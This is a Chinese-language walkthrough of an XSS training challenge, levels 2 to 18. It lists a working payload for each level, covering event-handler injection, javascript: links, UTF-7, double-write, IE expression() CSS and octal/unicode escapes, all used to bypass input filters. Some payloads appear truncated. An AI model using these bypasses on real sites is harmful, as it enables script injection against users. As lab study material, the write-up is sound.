xss challenge
2:
payload:
"><"
" onmouseover=alert(document.domain)>
3:
"23333"
尝试:
2333"
发现不行
变成了这样:
We couldn't find any places called "2333" " in Japan.
< >被转译了
抓包之后:
p1=2333%22%3C%2Fb%3E%3Cscript%3E+alert%28document.domain%29%3C%2Fscript%3E%3Cb%3E+&p2=Japan
发现p1被改,p2没有
改p2:
payload: p2=China
4:
抓包:p1输入: 123<>:"
出来:
p1=123%3C%3E%3A%22&p2=Japan&p3=hackme
一看这个p3那么嚣张
p3=
没成功,查看代码:
闭合一下:
" type="hidden">
payload:
p3=2333">
5:
发现长度受到限制,抓包都不用,直接在查看器里改数据,把长度受限改掉
6
照常输入,发现<>被过滤,而且没有其他输入点,那就,换个不要尖括号的好了
payload:
" onclick=alert(document.domain) "
或者找个好记忆的ID
"onclick=alert(document.domain) id="2333
7:
和#6差不多,过滤"< >
payload:
" onclick=alert(document.domain) id="aaa 反正不影响
2333 onmouseover=alert(document.domain);
8:
3333
既然变成了链接,那就正好伪协议
payload:
javascript:alert(document.domain)
9:
"<>都被转义了,当然也不能用onmouseover和onclick,根据提示,用UTF-7编码解码工具,将" onmousemove="alert(document.domain)转为UTF-7编码:
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
好像IE才行,别的都能修复了
那就不管了
10:
把domain过滤了
"><
那就重复一下,术语好像是:双写绕过
11:
1,script会被替换为xscript
2,on事件会被替换为onxxx
3,style会被替换为stxxx
于是想到可以用标签: ">here<"
但是,因为对script做了过滤,所以要将script中的某个字符转为unicode编码,或者可以插入 不可见字符
payload:
这题为什么不用%09 也就是tab,有前辈的猜测:
%09也就是tab制表符,使用在单个标签之内,会被浏览器正确
去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
12:
<>"被过滤,根据提示可以知道x00-,x20,<,>,",'都被过滤了,但是还没被过滤,于是可以用
加上onclick,onmouseover,onfocus均可,还有一个前提是IE,
由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。
13:
提示:style attribute
在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE
expression这个语法只存在ie上
payload:
expression(onmouseover=function(){alert(document.domain)})
background-color:#f00;background:url("javascript:alert(document.domain);");
xss:expr/XSS/ession(alert(document.domain));
可能是我IE版本高吧...
14:
这里过滤了expression,url,eval,script,但是通过加入注释符可绕过:
here:expre//ssion(onmouseover=function(){alert(document.domain)})
here:expre//ssion(window.x?0:(alert(document.domain),window.x=1));
还有几种绕过过滤的方法:加\,加\0,将e转码为\0056
e->\0056是什么操作?
15:
document.write();常用来网页向文档中输出内容
document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
既然这样,那就双杠:
16进制:
16:
把\x 替换成了\\x,但是js编码又不止16进制,还有八进制,unicode编码
八进制:
\74img src=x onerror=alert(document.domain)\76
Unicode:
\u003cscript\u003ealert(document.domain);\u003c/script\u003e
17:
宽字节:简单说,就是构造非法字符集,吃ASCII字符(一字节)
这里有个闭合引号的例子:
https://blog.csdn.net/u013648937/article/details/46629827
xss与字符编码:
http://su.xmd5.org/static/drops/tips-689.html
18:
将每个字符的二进制最高位置为1,然后再转为16进制
比如:
< -->16进制
3C -->2进制
00111100 -->最高位变成1
10111100 -->16进制
bc
我也不知道为什么要这样,最终变换:
">